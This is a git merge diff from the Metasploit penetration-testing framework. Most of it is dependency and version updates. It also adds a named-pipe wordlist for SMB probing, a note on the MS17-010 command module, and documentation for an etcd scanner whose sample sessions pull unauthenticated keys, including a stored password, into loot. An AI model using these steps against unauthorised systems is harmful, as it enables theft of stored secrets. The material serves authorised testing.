Merge branch 'goliath' into MS-3062_workspaces
commit
7d58b0a5f4
|
@ -1 +1 @@
|
||||||
2.4.3
|
2.5.1
|
||||||
|
|
|
@ -11,9 +11,9 @@ addons:
|
||||||
- graphviz
|
- graphviz
|
||||||
language: ruby
|
language: ruby
|
||||||
rvm:
|
rvm:
|
||||||
- '2.2'
|
- '2.3.7'
|
||||||
- '2.3.6'
|
- '2.4.4'
|
||||||
- '2.4.3'
|
- '2.5.1'
|
||||||
|
|
||||||
env:
|
env:
|
||||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
FROM ruby:2.4.3-alpine3.7
|
FROM ruby:2.5.1-alpine3.7
|
||||||
LABEL maintainer="Rapid7"
|
LABEL maintainer="Rapid7"
|
||||||
|
|
||||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||||
|
|
16
Gemfile
16
Gemfile
|
@ -19,23 +19,13 @@ group :development do
|
||||||
# module documentation
|
# module documentation
|
||||||
gem 'octokit'
|
gem 'octokit'
|
||||||
# Metasploit::Aggregator external session proxy
|
# Metasploit::Aggregator external session proxy
|
||||||
gem 'metasploit-aggregator' if [
|
# disabled during 2.5 transition until aggregator is available
|
||||||
'x86-mingw32', 'x64-mingw32',
|
#gem 'metasploit-aggregator'
|
||||||
'x86_64-linux', 'x86-linux',
|
|
||||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
|
||||||
gem 'google-protobuf', "3.5.1" if [
|
|
||||||
'x86-mingw32', 'x64-mingw32',
|
|
||||||
'x86_64-linux', 'x86-linux',
|
|
||||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
|
||||||
gem 'grpc', "1.8.3" if [
|
|
||||||
'x86-mingw32', 'x64-mingw32',
|
|
||||||
'x86_64-linux', 'x86-linux',
|
|
||||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
|
||||||
end
|
end
|
||||||
|
|
||||||
group :development, :test do
|
group :development, :test do
|
||||||
# automatically include factories from spec/factories
|
# automatically include factories from spec/factories
|
||||||
gem 'factory_girl_rails'
|
gem 'factory_bot_rails'
|
||||||
# Make rspec output shorter and more useful
|
# Make rspec output shorter and more useful
|
||||||
gem 'fivemat'
|
gem 'fivemat'
|
||||||
# running documentation generation tasks and rspec tasks
|
# running documentation generation tasks and rspec tasks
|
||||||
|
|
69
Gemfile.lock
69
Gemfile.lock
|
@ -116,16 +116,16 @@ GEM
|
||||||
coderay (1.1.2)
|
coderay (1.1.2)
|
||||||
concurrent-ruby (1.0.5)
|
concurrent-ruby (1.0.5)
|
||||||
crass (1.0.3)
|
crass (1.0.3)
|
||||||
daemons (1.2.4)
|
daemons (1.2.6)
|
||||||
diff-lcs (1.3)
|
diff-lcs (1.3)
|
||||||
dnsruby (1.60.2)
|
dnsruby (1.60.2)
|
||||||
docile (1.3.0)
|
docile (1.3.0)
|
||||||
erubis (2.7.0)
|
erubis (2.7.0)
|
||||||
eventmachine (1.2.3)
|
eventmachine (1.2.5)
|
||||||
factory_girl (4.9.0)
|
factory_bot (4.8.2)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
factory_girl_rails (4.9.0)
|
factory_bot_rails (4.8.2)
|
||||||
factory_girl (~> 4.9.0)
|
factory_bot (~> 4.8.2)
|
||||||
railties (>= 3.0.0)
|
railties (>= 3.0.0)
|
||||||
faker (1.8.7)
|
faker (1.8.7)
|
||||||
i18n (>= 0.7)
|
i18n (>= 0.7)
|
||||||
|
@ -133,49 +133,26 @@ GEM
|
||||||
multipart-post (>= 1.2, < 3)
|
multipart-post (>= 1.2, < 3)
|
||||||
filesize (0.1.1)
|
filesize (0.1.1)
|
||||||
fivemat (1.3.6)
|
fivemat (1.3.6)
|
||||||
google-protobuf (3.5.1)
|
|
||||||
googleapis-common-protos-types (1.0.1)
|
|
||||||
google-protobuf (~> 3.0)
|
|
||||||
googleauth (0.6.2)
|
|
||||||
faraday (~> 0.12)
|
|
||||||
jwt (>= 1.4, < 3.0)
|
|
||||||
logging (~> 2.0)
|
|
||||||
memoist (~> 0.12)
|
|
||||||
multi_json (~> 1.11)
|
|
||||||
os (~> 0.9)
|
|
||||||
signet (~> 0.7)
|
|
||||||
grpc (1.8.3)
|
|
||||||
google-protobuf (~> 3.1)
|
|
||||||
googleapis-common-protos-types (~> 1.0.0)
|
|
||||||
googleauth (>= 0.5.1, < 0.7)
|
|
||||||
hashery (2.1.2)
|
hashery (2.1.2)
|
||||||
i18n (0.9.5)
|
i18n (0.9.5)
|
||||||
concurrent-ruby (~> 1.0)
|
concurrent-ruby (~> 1.0)
|
||||||
jsobfu (0.4.2)
|
jsobfu (0.4.2)
|
||||||
rkelly-remix
|
rkelly-remix
|
||||||
json (2.1.0)
|
json (2.1.0)
|
||||||
jwt (2.1.0)
|
|
||||||
little-plugger (1.1.4)
|
|
||||||
logging (2.2.2)
|
|
||||||
little-plugger (~> 1.1)
|
|
||||||
multi_json (~> 1.10)
|
|
||||||
loofah (2.2.2)
|
loofah (2.2.2)
|
||||||
crass (~> 1.0.2)
|
crass (~> 1.0.2)
|
||||||
nokogiri (>= 1.5.9)
|
nokogiri (>= 1.5.9)
|
||||||
memoist (0.16.0)
|
|
||||||
metasm (1.0.3)
|
metasm (1.0.3)
|
||||||
metasploit-aggregator (1.0.0)
|
|
||||||
grpc
|
|
||||||
rex-arch
|
|
||||||
metasploit-concern (2.0.5)
|
metasploit-concern (2.0.5)
|
||||||
activemodel (~> 4.2.6)
|
activemodel (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
metasploit-credential (2.0.13)
|
metasploit-credential (3.0.1)
|
||||||
metasploit-concern
|
metasploit-concern
|
||||||
metasploit-model
|
metasploit-model
|
||||||
metasploit_data_models
|
metasploit_data_models (>= 3.0.0)
|
||||||
pg
|
net-ssh
|
||||||
|
pg (~> 0.15)
|
||||||
railties
|
railties
|
||||||
rex-socket
|
rex-socket
|
||||||
rubyntlm
|
rubyntlm
|
||||||
|
@ -185,7 +162,7 @@ GEM
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
metasploit-payloads (1.3.32)
|
metasploit-payloads (1.3.32)
|
||||||
metasploit_data_models (2.0.16)
|
metasploit_data_models (3.0.0)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
arel-helpers
|
arel-helpers
|
||||||
|
@ -201,7 +178,6 @@ GEM
|
||||||
minitest (5.11.3)
|
minitest (5.11.3)
|
||||||
mqtt (0.5.0)
|
mqtt (0.5.0)
|
||||||
msgpack (1.2.4)
|
msgpack (1.2.4)
|
||||||
multi_json (1.13.1)
|
|
||||||
multipart-post (2.0.0)
|
multipart-post (2.0.0)
|
||||||
nessus_rest (0.1.6)
|
nessus_rest (0.1.6)
|
||||||
net-ssh (4.2.0)
|
net-ssh (4.2.0)
|
||||||
|
@ -213,7 +189,6 @@ GEM
|
||||||
sawyer (~> 0.8.0, >= 0.5.3)
|
sawyer (~> 0.8.0, >= 0.5.3)
|
||||||
openssl-ccm (1.2.1)
|
openssl-ccm (1.2.1)
|
||||||
openvas-omp (0.0.4)
|
openvas-omp (0.0.4)
|
||||||
os (0.9.6)
|
|
||||||
packetfu (1.1.13)
|
packetfu (1.1.13)
|
||||||
pcaprub
|
pcaprub
|
||||||
patch_finder (1.0.2)
|
patch_finder (1.0.2)
|
||||||
|
@ -235,7 +210,7 @@ GEM
|
||||||
method_source (~> 0.9.0)
|
method_source (~> 0.9.0)
|
||||||
public_suffix (3.0.2)
|
public_suffix (3.0.2)
|
||||||
rack (1.6.9)
|
rack (1.6.9)
|
||||||
rack-protection (1.5.3)
|
rack-protection (1.5.5)
|
||||||
rack
|
rack
|
||||||
rack-test (0.6.3)
|
rack-test (0.6.3)
|
||||||
rack (>= 1.0)
|
rack (>= 1.0)
|
||||||
|
@ -245,8 +220,8 @@ GEM
|
||||||
activesupport (>= 4.2.0, < 5.0)
|
activesupport (>= 4.2.0, < 5.0)
|
||||||
nokogiri (~> 1.6)
|
nokogiri (~> 1.6)
|
||||||
rails-deprecated_sanitizer (>= 1.0.1)
|
rails-deprecated_sanitizer (>= 1.0.1)
|
||||||
rails-html-sanitizer (1.0.3)
|
rails-html-sanitizer (1.0.4)
|
||||||
loofah (~> 2.0)
|
loofah (~> 2.2, >= 2.2.2)
|
||||||
railties (4.2.10)
|
railties (4.2.10)
|
||||||
actionpack (= 4.2.10)
|
actionpack (= 4.2.10)
|
||||||
activesupport (= 4.2.10)
|
activesupport (= 4.2.10)
|
||||||
|
@ -293,7 +268,7 @@ GEM
|
||||||
metasm
|
metasm
|
||||||
rex-core
|
rex-core
|
||||||
rex-text
|
rex-text
|
||||||
rex-socket (0.1.12)
|
rex-socket (0.1.13)
|
||||||
rex-core
|
rex-core
|
||||||
rex-sslscan (0.1.5)
|
rex-sslscan (0.1.5)
|
||||||
rex-core
|
rex-core
|
||||||
|
@ -338,11 +313,6 @@ GEM
|
||||||
sawyer (0.8.1)
|
sawyer (0.8.1)
|
||||||
addressable (>= 2.3.5, < 2.6)
|
addressable (>= 2.3.5, < 2.6)
|
||||||
faraday (~> 0.8, < 1.0)
|
faraday (~> 0.8, < 1.0)
|
||||||
signet (0.8.1)
|
|
||||||
addressable (~> 2.3)
|
|
||||||
faraday (~> 0.9)
|
|
||||||
jwt (>= 1.5, < 3.0)
|
|
||||||
multi_json (~> 1.10)
|
|
||||||
simplecov (0.16.1)
|
simplecov (0.16.1)
|
||||||
docile (~> 1.1)
|
docile (~> 1.1)
|
||||||
json (>= 1.8, < 3)
|
json (>= 1.8, < 3)
|
||||||
|
@ -354,18 +324,18 @@ GEM
|
||||||
tilt (>= 1.3, < 3)
|
tilt (>= 1.3, < 3)
|
||||||
sqlite3 (1.3.13)
|
sqlite3 (1.3.13)
|
||||||
sshkey (1.9.0)
|
sshkey (1.9.0)
|
||||||
thin (1.7.1)
|
thin (1.7.2)
|
||||||
daemons (~> 1.0, >= 1.0.9)
|
daemons (~> 1.0, >= 1.0.9)
|
||||||
eventmachine (~> 1.0, >= 1.0.4)
|
eventmachine (~> 1.0, >= 1.0.4)
|
||||||
rack (>= 1, < 3)
|
rack (>= 1, < 3)
|
||||||
thor (0.20.0)
|
thor (0.20.0)
|
||||||
thread_safe (0.3.6)
|
thread_safe (0.3.6)
|
||||||
tilt (2.0.7)
|
tilt (2.0.8)
|
||||||
timecop (0.9.1)
|
timecop (0.9.1)
|
||||||
ttfunk (1.5.1)
|
ttfunk (1.5.1)
|
||||||
tzinfo (1.2.5)
|
tzinfo (1.2.5)
|
||||||
thread_safe (~> 0.1)
|
thread_safe (~> 0.1)
|
||||||
tzinfo-data (1.2018.3)
|
tzinfo-data (1.2018.4)
|
||||||
tzinfo (>= 1.0.0)
|
tzinfo (>= 1.0.0)
|
||||||
windows_error (0.1.2)
|
windows_error (0.1.2)
|
||||||
xdr (2.0.0)
|
xdr (2.0.0)
|
||||||
|
@ -378,11 +348,8 @@ PLATFORMS
|
||||||
ruby
|
ruby
|
||||||
|
|
||||||
DEPENDENCIES
|
DEPENDENCIES
|
||||||
factory_girl_rails
|
factory_bot_rails
|
||||||
fivemat
|
fivemat
|
||||||
google-protobuf (= 3.5.1)
|
|
||||||
grpc (= 1.8.3)
|
|
||||||
metasploit-aggregator
|
|
||||||
metasploit-framework!
|
metasploit-framework!
|
||||||
octokit
|
octokit
|
||||||
pry
|
pry
|
||||||
|
|
149
LICENSE_GEMS
149
LICENSE_GEMS
|
@ -1,130 +1,135 @@
|
||||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||||
Ascii85, 1.0.2, MIT
|
Ascii85, 1.0.3, MIT
|
||||||
actionpack, 4.2.9, MIT
|
actionpack, 4.2.10, MIT
|
||||||
actionview, 4.2.9, MIT
|
actionview, 4.2.10, MIT
|
||||||
activemodel, 4.2.9, MIT
|
activemodel, 4.2.10, MIT
|
||||||
activerecord, 4.2.9, MIT
|
activerecord, 4.2.10, MIT
|
||||||
activesupport, 4.2.9, MIT
|
activesupport, 4.2.10, MIT
|
||||||
addressable, 2.5.1, "Apache 2.0"
|
addressable, 2.5.2, "Apache 2.0"
|
||||||
afm, 0.2.2, MIT
|
afm, 0.2.2, MIT
|
||||||
arel, 6.0.4, MIT
|
arel, 6.0.4, MIT
|
||||||
arel-helpers, 2.4.0, unknown
|
arel-helpers, 2.6.1, MIT
|
||||||
backports, 3.8.0, MIT
|
backports, 3.11.1, MIT
|
||||||
bcrypt, 3.1.11, MIT
|
bcrypt, 3.1.11, MIT
|
||||||
bindata, 2.4.0, ruby
|
bcrypt_pbkdf, 1.0.0, MIT
|
||||||
|
bindata, 2.4.3, ruby
|
||||||
bit-struct, 0.16, ruby
|
bit-struct, 0.16, ruby
|
||||||
builder, 3.2.3, MIT
|
builder, 3.2.3, MIT
|
||||||
bundler, 1.15.1, MIT
|
bundler, 1.16.1, MIT
|
||||||
coderay, 1.1.1, MIT
|
coderay, 1.1.2, MIT
|
||||||
|
concurrent-ruby, 1.0.5, MIT
|
||||||
|
crass, 1.0.3, MIT
|
||||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||||
dnsruby, 1.60.1, "Apache 2.0"
|
dnsruby, 1.60.2, "Apache 2.0"
|
||||||
docile, 1.1.5, MIT
|
docile, 1.3.0, MIT
|
||||||
erubis, 2.7.0, MIT
|
erubis, 2.7.0, MIT
|
||||||
factory_girl, 4.8.0, MIT
|
factory_bot, 4.8.2, MIT
|
||||||
factory_girl_rails, 4.8.0, MIT
|
factory_bot_rails, 4.8.2, MIT
|
||||||
faraday, 0.12.1, MIT
|
faker, 1.8.7, MIT
|
||||||
|
faraday, 0.14.0, MIT
|
||||||
filesize, 0.1.1, MIT
|
filesize, 0.1.1, MIT
|
||||||
fivemat, 1.3.5, MIT
|
fivemat, 1.3.6, MIT
|
||||||
google-protobuf, 3.3.0, "New BSD"
|
google-protobuf, 3.5.1, "New BSD"
|
||||||
googleauth, 0.5.1, "Apache 2.0"
|
googleapis-common-protos-types, 1.0.1, "Apache 2.0"
|
||||||
grpc, 1.4.1, "New BSD"
|
googleauth, 0.6.2, "Apache 2.0"
|
||||||
|
grpc, 1.8.3, "Apache 2.0"
|
||||||
hashery, 2.1.2, "Simplified BSD"
|
hashery, 2.1.2, "Simplified BSD"
|
||||||
i18n, 0.8.6, MIT
|
i18n, 0.9.5, MIT
|
||||||
jsobfu, 0.4.2, "New BSD"
|
jsobfu, 0.4.2, "New BSD"
|
||||||
json, 2.1.0, ruby
|
json, 2.1.0, ruby
|
||||||
jwt, 1.5.6, MIT
|
jwt, 2.1.0, MIT
|
||||||
little-plugger, 1.1.4, MIT
|
little-plugger, 1.1.4, MIT
|
||||||
logging, 2.2.2, MIT
|
logging, 2.2.2, MIT
|
||||||
loofah, 2.0.3, MIT
|
loofah, 2.2.0, MIT
|
||||||
memoist, 0.16.0, MIT
|
memoist, 0.16.0, MIT
|
||||||
metasm, 1.0.3, LGPL
|
metasm, 1.0.3, LGPL
|
||||||
metasploit-aggregator, 0.2.1, "New BSD"
|
metasploit-aggregator, 1.0.0, "New BSD"
|
||||||
metasploit-concern, 2.0.5, "New BSD"
|
metasploit-concern, 2.0.5, "New BSD"
|
||||||
metasploit-credential, 2.0.10, "New BSD"
|
metasploit-credential, 2.0.13, "New BSD"
|
||||||
metasploit-framework, 4.15.0, "New BSD"
|
metasploit-framework, 5.0.0, "New BSD"
|
||||||
metasploit-model, 2.0.4, "New BSD"
|
metasploit-model, 2.0.4, "New BSD"
|
||||||
metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD"
|
metasploit-payloads, 1.3.31, "3-clause (or ""modified"") BSD"
|
||||||
metasploit_data_models, 2.0.15, "New BSD"
|
metasploit_data_models, 2.0.16, "New BSD"
|
||||||
metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD"
|
metasploit_payloads-mettle, 0.3.7, "3-clause (or ""modified"") BSD"
|
||||||
method_source, 0.8.2, MIT
|
method_source, 0.9.0, MIT
|
||||||
mini_portile2, 2.2.0, MIT
|
mini_portile2, 2.3.0, MIT
|
||||||
minitest, 5.10.2, MIT
|
minitest, 5.11.3, MIT
|
||||||
msgpack, 1.1.0, "Apache 2.0"
|
mqtt, 0.5.0, MIT
|
||||||
multi_json, 1.12.1, MIT
|
msgpack, 1.2.4, "Apache 2.0"
|
||||||
|
multi_json, 1.13.1, MIT
|
||||||
multipart-post, 2.0.0, MIT
|
multipart-post, 2.0.0, MIT
|
||||||
nessus_rest, 0.1.6, MIT
|
nessus_rest, 0.1.6, MIT
|
||||||
net-ssh, 4.1.0, MIT
|
net-ssh, 4.2.0, MIT
|
||||||
network_interface, 0.0.1, MIT
|
network_interface, 0.0.2, MIT
|
||||||
nexpose, 6.1.0, BSD
|
nexpose, 7.2.0, BSD
|
||||||
nokogiri, 1.8.0, MIT
|
nokogiri, 1.8.2, MIT
|
||||||
octokit, 4.7.0, MIT
|
octokit, 4.8.0, MIT
|
||||||
openssl-ccm, 1.2.1, MIT
|
openssl-ccm, 1.2.1, MIT
|
||||||
openvas-omp, 0.0.4, MIT
|
openvas-omp, 0.0.4, MIT
|
||||||
os, 0.9.6, MIT
|
os, 0.9.6, MIT
|
||||||
packetfu, 1.1.13, BSD
|
packetfu, 1.1.13, BSD
|
||||||
patch_finder, 1.0.2, "New BSD"
|
patch_finder, 1.0.2, "New BSD"
|
||||||
pcaprub, 0.12.4, LGPL-2.1
|
pcaprub, 0.12.4, LGPL-2.1
|
||||||
pdf-reader, 2.0.0, MIT
|
pdf-reader, 2.1.0, MIT
|
||||||
pg, 0.20.0, "New BSD"
|
pg, 0.20.0, "New BSD"
|
||||||
pg_array_parser, 0.0.9, unknown
|
pg_array_parser, 0.0.9, unknown
|
||||||
postgres_ext, 3.0.0, MIT
|
postgres_ext, 3.0.0, MIT
|
||||||
pry, 0.10.4, MIT
|
pry, 0.11.3, MIT
|
||||||
public_suffix, 2.0.5, MIT
|
public_suffix, 3.0.2, MIT
|
||||||
rack, 1.6.8, MIT
|
rack, 1.6.9, MIT
|
||||||
rack-test, 0.6.3, MIT
|
rack-test, 0.6.3, MIT
|
||||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||||
rails-dom-testing, 1.0.8, MIT
|
rails-dom-testing, 1.0.9, MIT
|
||||||
rails-html-sanitizer, 1.0.3, MIT
|
rails-html-sanitizer, 1.0.3, MIT
|
||||||
railties, 4.2.9, MIT
|
railties, 4.2.10, MIT
|
||||||
rake, 12.0.0, MIT
|
rake, 12.3.0, MIT
|
||||||
rb-readline, 0.5.4, BSD
|
rb-readline, 0.5.5, BSD
|
||||||
recog, 2.1.11, unknown
|
recog, 2.1.18, unknown
|
||||||
redcarpet, 3.4.0, MIT
|
redcarpet, 3.4.0, MIT
|
||||||
rex-arch, 0.1.9, "New BSD"
|
rex-arch, 0.1.13, "New BSD"
|
||||||
rex-bin_tools, 0.1.4, "New BSD"
|
rex-bin_tools, 0.1.4, "New BSD"
|
||||||
rex-core, 0.1.11, "New BSD"
|
rex-core, 0.1.13, "New BSD"
|
||||||
rex-encoder, 0.1.4, "New BSD"
|
rex-encoder, 0.1.4, "New BSD"
|
||||||
rex-exploitation, 0.1.15, "New BSD"
|
rex-exploitation, 0.1.17, "New BSD"
|
||||||
rex-java, 0.1.5, "New BSD"
|
rex-java, 0.1.5, "New BSD"
|
||||||
rex-mime, 0.1.5, "New BSD"
|
rex-mime, 0.1.5, "New BSD"
|
||||||
rex-nop, 0.1.1, "New BSD"
|
rex-nop, 0.1.1, "New BSD"
|
||||||
rex-ole, 0.1.6, "New BSD"
|
rex-ole, 0.1.6, "New BSD"
|
||||||
rex-powershell, 0.1.72, "New BSD"
|
rex-powershell, 0.1.77, "New BSD"
|
||||||
rex-random_identifier, 0.1.2, "New BSD"
|
rex-random_identifier, 0.1.4, "New BSD"
|
||||||
rex-registry, 0.1.3, "New BSD"
|
rex-registry, 0.1.3, "New BSD"
|
||||||
rex-rop_builder, 0.1.3, "New BSD"
|
rex-rop_builder, 0.1.3, "New BSD"
|
||||||
rex-socket, 0.1.8, "New BSD"
|
rex-socket, 0.1.10, "New BSD"
|
||||||
rex-sslscan, 0.1.4, "New BSD"
|
rex-sslscan, 0.1.5, "New BSD"
|
||||||
rex-struct2, 0.1.2, "New BSD"
|
rex-struct2, 0.1.2, "New BSD"
|
||||||
rex-text, 0.2.15, "New BSD"
|
rex-text, 0.2.16, "New BSD"
|
||||||
rex-zip, 0.1.3, "New BSD"
|
rex-zip, 0.1.3, "New BSD"
|
||||||
rkelly-remix, 0.0.7, MIT
|
rkelly-remix, 0.0.7, MIT
|
||||||
robots, 0.10.1, MIT
|
rspec, 3.7.0, MIT
|
||||||
rspec, 3.6.0, MIT
|
rspec-core, 3.7.1, MIT
|
||||||
rspec-core, 3.6.0, MIT
|
rspec-expectations, 3.7.0, MIT
|
||||||
rspec-expectations, 3.6.0, MIT
|
rspec-mocks, 3.7.0, MIT
|
||||||
rspec-mocks, 3.6.0, MIT
|
rspec-rails, 3.7.2, MIT
|
||||||
rspec-rails, 3.6.0, MIT
|
|
||||||
rspec-rerun, 1.1.0, MIT
|
rspec-rerun, 1.1.0, MIT
|
||||||
rspec-support, 3.6.0, MIT
|
rspec-support, 3.7.1, MIT
|
||||||
|
ruby-macho, 1.1.0, MIT
|
||||||
ruby-rc4, 0.1.5, MIT
|
ruby-rc4, 0.1.5, MIT
|
||||||
ruby_smb, 0.0.18, "New BSD"
|
ruby_smb, 0.0.18, "New BSD"
|
||||||
rubyntlm, 0.6.2, MIT
|
rubyntlm, 0.6.2, MIT
|
||||||
rubyzip, 1.2.1, "Simplified BSD"
|
rubyzip, 1.2.1, "Simplified BSD"
|
||||||
sawyer, 0.8.1, MIT
|
sawyer, 0.8.1, MIT
|
||||||
signet, 0.7.3, "Apache 2.0"
|
signet, 0.8.1, "Apache 2.0"
|
||||||
simplecov, 0.14.1, MIT
|
simplecov, 0.16.0, MIT
|
||||||
simplecov-html, 0.10.1, MIT
|
simplecov-html, 0.10.2, MIT
|
||||||
slop, 3.6.0, MIT
|
|
||||||
sqlite3, 1.3.13, "New BSD"
|
sqlite3, 1.3.13, "New BSD"
|
||||||
sshkey, 1.9.0, MIT
|
sshkey, 1.9.0, MIT
|
||||||
thor, 0.19.4, MIT
|
thor, 0.20.0, MIT
|
||||||
thread_safe, 0.3.6, "Apache 2.0"
|
thread_safe, 0.3.6, "Apache 2.0"
|
||||||
timecop, 0.9.1, MIT
|
timecop, 0.9.1, MIT
|
||||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||||
tzinfo, 1.2.3, MIT
|
tzinfo, 1.2.5, MIT
|
||||||
tzinfo-data, 1.2017.2, MIT
|
tzinfo-data, 1.2018.3, MIT
|
||||||
windows_error, 0.1.2, BSD
|
windows_error, 0.1.2, BSD
|
||||||
xdr, 2.0.0, "Apache 2.0"
|
xdr, 2.0.0, "Apache 2.0"
|
||||||
xmlrpc, 0.3.0, ruby
|
xmlrpc, 0.3.0, ruby
|
||||||
yard, 0.9.9, MIT
|
yard, 0.9.12, MIT
|
||||||
|
|
|
@ -0,0 +1,25 @@
|
||||||
|
netlogon
|
||||||
|
lsarpc
|
||||||
|
samr
|
||||||
|
browser
|
||||||
|
atsvc
|
||||||
|
DAV RPC SERVICE
|
||||||
|
epmapper
|
||||||
|
eventlog
|
||||||
|
InitShutdown
|
||||||
|
keysvc
|
||||||
|
lsass
|
||||||
|
LSM_API_service
|
||||||
|
ntsvcs
|
||||||
|
plugplay
|
||||||
|
protected_storage
|
||||||
|
router
|
||||||
|
SapiServerPipeS-1-5-5-0-70123
|
||||||
|
scerpc
|
||||||
|
srvsvc
|
||||||
|
tapsrv
|
||||||
|
trkwks
|
||||||
|
W32TIME_ALT
|
||||||
|
wkssvc
|
||||||
|
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
|
||||||
|
db2remotecmd
|
Binary file not shown.
|
@ -21,6 +21,11 @@ To be able to use auxiliary/admin/smb/ms17_010_command:
|
||||||
|
|
||||||
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
||||||
|
|
||||||
|
If you're having trouble configuring an anonymous named pipe,
|
||||||
|
Microsoft's
|
||||||
|
[documentation](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously)
|
||||||
|
on the topic may be helpful.
|
||||||
|
|
||||||
## Verification Steps
|
## Verification Steps
|
||||||
|
|
||||||
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
etcd is a distributed reliable key-value store, which when used in an open and default configuration gives
|
||||||
|
unauthenticated users access to the data stored via HTTP API.
|
||||||
|
|
||||||
|
### Centos 7.1
|
||||||
|
|
||||||
|
1. `yum install etcd`
|
||||||
|
2. `vi /etc/etcd/etcd.conf` replace (and uncomment) items with `localhost` for your IP.
|
||||||
|
3. `systemctl start etcd; systemctl enable etcd`
|
||||||
|
4. On Centos 7.1 you need to mod (or disable) the firewall: `systemctl stop firewalld`
|
||||||
|
5. Lastly, lets add a key-value for interest: `curl http://[IP]:2379/v2/keys/supersecret -XPUT -d value="password!"`
|
||||||
|
|
||||||
|
### Docker
|
||||||
|
|
||||||
|
1. `docker run -p 2379:2379 miguelgrinberg/easy-etcd`
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: ```use auxiliary/scanner/etcd/open_key_scanner```
|
||||||
|
4. Do: ```set rhosts [IPs]```
|
||||||
|
5. Do: ```run```
|
||||||
|
6. You should get a JSON response, and the data saved to `loot`.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### etcd 3.2.15 on CentOS 7.1
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/scanner/etcd/open_key_scanner
|
||||||
|
msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2
|
||||||
|
rhosts => 2.2.2.2
|
||||||
|
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
|
||||||
|
|
||||||
|
[+] 2.2.2.2:2379
|
||||||
|
Version: {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
|
||||||
|
Data: {
|
||||||
|
"action": "get",
|
||||||
|
"node": {
|
||||||
|
"dir": true,
|
||||||
|
"nodes": [
|
||||||
|
{
|
||||||
|
"key": "/supersecret",
|
||||||
|
"value": "password",
|
||||||
|
"modifiedIndex": 6,
|
||||||
|
"createdIndex": 6
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Loot
|
||||||
|
====
|
||||||
|
|
||||||
|
host service type name content info path
|
||||||
|
---- ------- ---- ---- ------- ---- ----
|
||||||
|
2.2.2.2 etcd.data etcd.keys text/plain etcd keys /root/.msf4/loot/20180325144351_default_2.2.2.2_etcd.data_425280.txt
|
||||||
|
|
||||||
|
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
|
||||||
|
Services
|
||||||
|
========
|
||||||
|
|
||||||
|
host port proto name state info
|
||||||
|
---- ---- ----- ---- ----- ----
|
||||||
|
2.2.2.2 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
|
||||||
|
```
|
||||||
|
|
||||||
|
### etcd in Docker
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/scanner/etcd/open_key_scanner
|
||||||
|
msf5 auxiliary(scanner/etcd/open_key_scanner) > set RHOSTS 127.0.0.1
|
||||||
|
RHOSTS => 127.0.0.1
|
||||||
|
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
|
||||||
|
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
|
||||||
|
|
||||||
|
[+] 127.0.0.1:2379
|
||||||
|
Version: {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
|
||||||
|
Data: {
|
||||||
|
"action": "get",
|
||||||
|
"node": {
|
||||||
|
"dir": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf5 auxiliary(scanner/etcd/open_key_scanner) > loot
|
||||||
|
|
||||||
|
Loot
|
||||||
|
====
|
||||||
|
|
||||||
|
host service type name content info path
|
||||||
|
---- ------- ---- ---- ------- ---- ----
